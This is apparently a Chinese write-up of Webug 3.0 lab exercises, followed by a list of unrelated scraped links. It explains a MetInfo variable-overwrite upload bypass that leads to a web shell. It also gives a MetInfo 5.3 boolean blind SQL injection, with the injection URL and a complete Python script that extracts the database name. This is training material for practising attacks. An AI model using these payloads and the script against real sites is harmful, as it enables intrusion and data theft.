27 @extract($settings);

在上述代码的第3行中利用三段式给lang变量赋值,如果为空则其值等于met_index_type变量的值,这个变量的值为cn,可以在第3行代码下添加echo met_index_type来验证。

如果lang的值为cn则在第8行中构造出来的查询语句即query的值为:

SELECT * FROM $met_config WHERE lang='cn' or lang='metinfo'

在第9行中执行上述查询语句并在第10行至26行利用查询结果来初始化一些配置变量,在第10行下面添加echo var_dump($list_config);来查看查询结果。在这些返回结果中包括如下一组数据

通过上述数据可以看到当变量lang为cn时会有关于met_file_format的这条记录并在上述代码中第16行将其赋值到settings数组中,并在27行把这个数组注册到php变量中。为此这就覆盖了我们传入的met_file_format变量,导致不能上传php代码。所以在Get请求中设置lang参数并将其值设置为**“metinfo”**就可以绕过上面问题了。
11. 最后需要说明的是由于保存文件名为随机生成的所以需要自行猜解。所以结合上述两个漏洞就可以Getshell了:)!

12. 其实还可以这样做:?

第十六题:METINFO 5.3

题目类型:注入漏洞
使用工具:手工
1.原理可以参考MetInfo5.3 最新版本SQL注射
2.之所以说此漏洞属于盲注是因为include/global.func.php文件中定义了daddslashes函数,这个函数过滤掉了unionselect关键字所以没办法使用union来进行攻击。由于没有掉过滤where关键字为此可以构造基于布尔的盲注来获得数据。daddslashes函数关键代码如下:

       $string_old = $string;$string = str_ireplace("\"","/",$string);$string = str_ireplace("'","/",$string);$string = str_ireplace("*","/",$string);$string = str_ireplace("~","/",$string);$string = str_ireplace("select", "\sel\ect", $string);$string = str_ireplace("insert", "\ins\ert", $string);$string = str_ireplace("update", "\up\date", $string);$string = str_ireplace("delete", "\de\lete", $string);$string = str_ireplace("union", "\un\ion", $string);$string = str_ireplace("into", "\in\to", $string);$string = str_ireplace("load_file", "\load\_\file", $string);$string = str_ireplace("outfile", "\out\file", $string);$string = str_ireplace("sleep", "\sle\ep", $string);
  1. 为此可以构造如下URL来获取信息:
    http://192.168.6.128/pentest/cms/Metinfonew/news/news.php?class2=5&serch_sql=where%20if(length(database())=8,1,0)%20limit%200,1%20--%20&imgproduct=abc
  2. 如果使用手工注入,这个过程将会很复杂也很费时。可以使用脚本来实现信息获取,这里写了一个简单的脚本来获取当前数据库的名字,代码如下:
# -*- coding:utf-8 -*-
import requests
import threading
import QueueURL= 'http://172.16.41.128/pentest/cms/Metinfonew/news/news.php?lang=cn&class2=5&serch_sql=%s&imgproduct=abc'
var = [i for i in range(ord('a'),ord('z')+1)]
var.extend([i for i in range(ord('A'),ord('Z')+1)])
var.extend([ord(str(i)) for i in range(10)])
var.append(ord('_'))
var.append(ord('@'))def sendRequest(payload):try:res = requests.get(URL%payload,headers={'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201'})except:print 'Can not connect to target!'return 2if '为什么企业要建多国语言网站?'.decode('utf-8') in res.text:return Trueelse:return Falsedef l2s(l):a = ''for i in l:a += ireturn adef GetCurrentDB():print 'Start getting current database...'dbn = []thread_pool = []var_q = []find = []def action(id):while not var_q[id].empty() and find[id]:k = var_q[id].get()payload = 'where if(ascii(substr(database(),%d,1))=%d,1,0) limit 0,1--'%(id+1,k)if sendRequest(URL%payload) == 2:var_q[id].put(k)elif sendRequest(URL%payload) == True:dbn[id] = chr(k)find[id] = 0breakfor i in range(20):payload = 'where if(length(database())=%d,1,0) limit 0,1--'%iif sendRequest(payload) == True:print "The length of database name is %d"%ifor j in range(i):dbn.append('?')q = Queue.Queue()for k in var:q.put(k)var_q.append(q)find.append(1)for f in range(27):thread = threading.Thread(target=action,args=(j,))thread.start()thread_pool.append(thread)for tr in thread_pool:if tr.isAlive():tr.join()                breakprint 'Current Database:%s'%l2s(dbn)GetCurrentDB()

执行效果如下:

Webug3.0-中级进阶-解题相关推荐

  1. gis data editor.php,我们的漏洞Webug 3.0中级进阶攻略(上)

    WeBug名称定义为"我们的漏洞"靶场环境.基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境.部分漏洞是基于Win ...

  2. WeBug3.0靶场环境搭建与搭建资源分享

    前言:这是我第一次接触WeBug靶场,以前也没有任何关于信息安全方面的基础,骨头虽硬,但还是得咬紧牙关去啃它,收获到的东西也必然很多.这是一遍关于初次认识WeBug靶场,初入靶场,请各位大佬轻喷. 一 ...

  3. Exp10 Final 类CTF(Webug3.0漏洞靶场—渗透基础)

    一.前言 Webug定义为"我们的漏洞"靶场,基础环境基于PHP/MySQL搭建而成,整个web环境装在了一个纯净版的Windows Server 2003的虚拟机中. 此靶场包含 ...

  4. 多屏互动——H5中级进阶

    声明:本文CSDN作者原创投稿文章,未经许可禁止任何形式的转载. 作者:王诗诗,前端新人,专职前端工作两年.曾供职于AMI做底层软件开发.喜欢分析H5代码,追崇用简单的CSS,构建精美动效,做前端之前 ...

  5. 多屏互动——H5中级进阶 - 修复动态图片版本

    前言 随着智能硬件的普及,手机,平板,PC甚至路边的电子广告牌,现代浏览器已经无处不在.在浏览器里编织出我们自己的一片天地已经轻车熟路,但是这还不够,H5赋予了浏览器太多的新特性,等待我们去使用.这篇 ...

  6. [C++中级进阶]001_C++0x里的完美转发到底是神马?

    [C++中级进阶]001_C++0x里的完美转发到底是神马? 转载至:http://www.cnblogs.com/alephsoul-alephsoul/archive/2013/01/10/285 ...

  7. webug3.0下载环境搭建使用

    webug3.0百度网盘下载 一共61个包,挺大的.下载完随便打开一个 PS:我好像全部解压了 打开文件类型为虚拟机配置的文件 打开软件虚拟机 继续启动虚拟机 如果让你登陆,记住密码123456 打开 ...

  8. [C++基础]039_C++异常处理初级出门+中级进阶

    [C++基础]039_C++异常处理初级出门+中级进阶 参考文章: (1)[C++基础]039_C++异常处理初级出门+中级进阶 (2)https://www.cnblogs.com/alephsou ...

  9. Office VBA开发经典-中级进阶卷 配套资源下载

    <Office VBA开发经典-中级进阶卷>源代码下载 提取码:nt1h 如果遇到下载链接失效,请联系作者进行更新. 开发资源(编程过程中用到的工具.软件):加QQ群61840693咨询, ...

  10. Revit教程免费下载——Revit建筑设计中级进阶视频课程

    Revit建筑设计中级进阶视频课程,总共有四个章节.附带课程配套的素材文件! [下载地址] 链接:https://pan.baidu.com/s/1-4jrDaVgpwHV9zt8KWzOjg 提取码 ...

最新文章

  1. java中随机数怎么定义类_浅析Java中的随机数类
  2. Linux Kernel TCP/IP Stack — 协议栈发包处理流程
  3. javascript的关于刷新页面给出提示框的代码
  4. 【C语言重点难点精讲】C语言预处理
  5. 【直通顶会 ICCV2021比赛大揭秘】ICCV2021比赛信息汇总
  6. VR版《五十度黑》尺度大?心疼被套路的观众
  7. 一位Oracle顶流铁粉的“躬身入局”
  8. 为制造业构建Teams Power App 3:创建制造商UI
  9. Selenium的定位元素
  10. Spring使用内存数据库
  11. 3.1~4 处理器架构IA32/x86介绍+IA32架构下汇编基本介绍
  12. 阶段1 语言基础+高级_1-3-Java语言高级_08-JDK8新特性_第3节 两种获取Stream流的方式_1_两种获取Stream流的方式...
  13. 传漾科技:领跑html5数字化营销
  14. 基于特征全埋点的精排ODL实践总结
  15. 大数据平台架构包含哪些功能
  16. alexnet 模型详解以及模型的可视化
  17. 机器学习的几个重要问题
  18. taskkill掉带空格的windowtitle
  19. Linux驱动学习--android中的内存管理机制ION(一)--简单介绍
  20. 瞎想-电信IPTV如何做到真高清真4K直播

热门文章

  1. 编码 GBK 的不可映射字符 (0x81)
  2. 破解第三课 关键跳和关键CALL
  3. java 变量的命名
  4. 20210218CTF伪协议绕过file_get_contents(bugkuctf的web21御结冰城感想)
  5. pytorch历史版本下载_Pytorch、Anaconda安装、Navidia版本更新
  6. 校园兼职平台项目总结
  7. MySQL 名次查询
  8. 骗的就是你!揭露买本10大愚蠢表现
  9. 通俗解释「什么是云计算」
  10. 【sklearn】K-Means聚类与PCA降维实践 - 用户信用分群和分析